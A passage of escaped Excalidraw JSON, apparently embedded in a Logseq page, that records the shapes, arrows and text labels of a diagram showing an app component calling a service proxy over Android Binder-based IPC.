__&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:5,\\logseq____&quot;versionNonce\\logseq____&quot;:1129673628,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;aolhESiOHXi9Lwz4CbwEB\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:380.52783966064453,\\logseq____&quot;y\\logseq____&quot;:608.5,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:55.95994567871094,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:1609025444,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;iF72X4icOLoOCZXhi6J4q\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;App A\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;top\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;OpcNb1gD7e-Kh8XWI9wfk\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;App A\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:6,\\logseq____&quot;versionNonce\\logseq____&quot;:491349668,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;RmSNHrZx-5HsBqvO4gvS1\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:175.0234375,\\logseq____&quot;y\\logseq____&quot;:638.5,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:165.046875,\\logseq____&quot;height\\logseq____&quot;:90,\\logseq____&quot;seed\\logseq____&quot;:372147364,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;iF72X4icOLoOCZXhi6J4q\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:7,\\logseq____&quot;versionNonce\\logseq____&quot;:1130415516,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;hVhkMeB2zSvUs5XZN44IZ\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:433.1484375,\\logseq____&quot;y\\logseq____&quot;:657.25,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:208.84375,\\logseq____&quot;height\\logseq____&quot;:52.5,\\logseq____&quot;seed\\logseq____&quot;:1321095204,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;iF72X4icOLoOCZXhi6J4q\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:6,\\logseq____&quot;versionNonce\\logseq____&quot;:840561060,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;0dkwe3K9r9LZm4CjbjZsX\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:340.5704375,\\logseq____&quot;y\\logseq____&quot;:684,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:93.578,\\logseq____&quot;height\\logseq____&quot;:0.5,\\logseq____&quot;seed\\logseq____&quot;:265494052,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;iF72X4icOLoOCZXhi6J4q\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;vOf_ir94eZopGRSRNiKI4\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;RmSNHrZx-5HsBqvO4gvS1\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:-0.009703467694235055,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;endBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;hVhkMeB2zSvUs5XZN44IZ\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:-0.039364036221413864,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[92.578,-0.5]]},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:5,\\logseq____&quot;versionNonce\\logseq____&quot;:965757212,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;vOf_ir94eZopGRSRNiKI4\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:368.4894576416016,\\logseq____&quot;y\\logseq____&quot;:671.25,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:36.739959716796875,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:675200164,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;iF72X4icOLoOCZXhi6J4q\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Call\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;0dkwe3K9r9LZm4CjbjZsX\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Call\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:5,\\logseq____&quot;versionNonce\\logseq____&quot;:1570907172,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;gcVasnzDktA7rF6hnEKGo\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:183.87694549560547,\\logseq____&quot;y\\logseq____&quot;:658.5,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:147.33985900878906,\\logseq____&quot;height\\logseq____&quot;:50,\\logseq____&quot;seed\\logseq____&quot;:911684388,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;iF72X4icOLoOCZXhi6J4q\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Componentlogseq____&lt;brlogseq____&gt;(\\\\ne.g., Activity)\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;RmSNHrZx-5HsBqvO4gvS1\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Componentlogseq____&lt;brlogseq____&gt;(e.g., Activity)\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:43},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:5,\\logseq____&quot;versionNonce\\logseq____&quot;:1612488732,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;zBlQBVILZnpOX-ayHR-1y\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:459.7803955078125,\\logseq____&quot;y\\logseq____&quot;:671,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:155.579833984375,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:1926049444,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;iF72X4icOLoOCZXhi6J4q\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;B Service Proxy\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;hVhkMeB2zSvUs5XZN44IZ\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;B Service Proxy\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:7,\\logseq____&quot;versionNonce\\logseq____&quot;:875360804,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;6RD6wvzqGlMleMVzwDwlB\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:716.9921875,\\logseq____&quot;y\\logseq____&quot;:657.25,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:247.328125,\\logseq____&quot;height\\logseq____&quot;:52.5,\\logseq____&quot;seed\\logseq____&quot;:172534692,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;R2cszfXRkq3ByDZA8FQKW\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:5,\\logseq____&quot;versionNonce\\logseq____&quot;:898760612,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;R2cszfXRkq3ByDZA8FQKW\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:755.116340637207,\\logseq____&quot;y\\logseq____&quot;:671,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:171.07981872558594,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:905427492,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Binder-based IPC\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;6RD6wvzqGlMleMVzwDwlB\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Binder-based IPC\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:6,\\logseq____&quot;versionNonce\\logseq____&quot;:347348260,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;OQ7xGhfrlxvlJjYGfoY1A\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:642.9924375,\\logseq____&quot;y\\logseq____&quot;:684.5,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:88.12500000000006,\\logseq____&quot;height\\logseq____&quot;:0.5,\\logseq____&quot;seed\\logseq____&quot;:1270146340,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;hVhkMeB2zSvUs5XZN44IZ\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0.09306445850139866,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;endBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;6RD6wvzqGlMleMVzwDwlB\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:-0.050134234272839404,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[24.000000000000057,-1],[87.12500000000006,-1]]},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:6,\\logseq____&quot;versionNonce\\logseq____&quot;:1443018524,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;kAYnxE0sBnAC9s6sOCJoE\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:952.1954375,\\logseq____&quot;y\\logseq____&quot;:684.5,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:88.125,\\logseq____&quot;height\\logseq____&quot;:0.5,\\logseq____&quot;seed\\logseq____&quot;:899981476,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605631881,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;6RD6wvzqGlMleMVzwDwlB\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0.07082698785494419,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;endBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;cYBC0eZBIJWdPBm0_KEwZ\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:-0.053894654289099723,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[37.125,-1],[87.125,-1]]},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:300,\\logseq____&quot;versionNonce\\logseq____&quot;:733834268,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;C0XrkxRO7AWjP9M2xwj0q\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:916.6997767857144,\\logseq____&quot;y\\logseq____&quot;:363.9285714285717,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:761.4375,\\logseq____&quot;height\\logseq____&quot;:162,\\logseq____&quot;seed\\logseq____&quot;:1626522268,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;-bce69fcqBdjRLSwwsqMA\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;T3YjotWHKmU0XAZnZxuob\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605956747,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:301,\\logseq____&quot;versionNonce\\logseq____&quot;:1509001372,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;T3YjotWHKmU0XAZnZxuob\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:1268.7285548618863,\\logseq____&quot;y\\logseq____&quot;:368.9285714285717,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:57.37994384765625,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:1854741532,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;-bce69fcqBdjRLSwwsqMA\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605956747,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;App 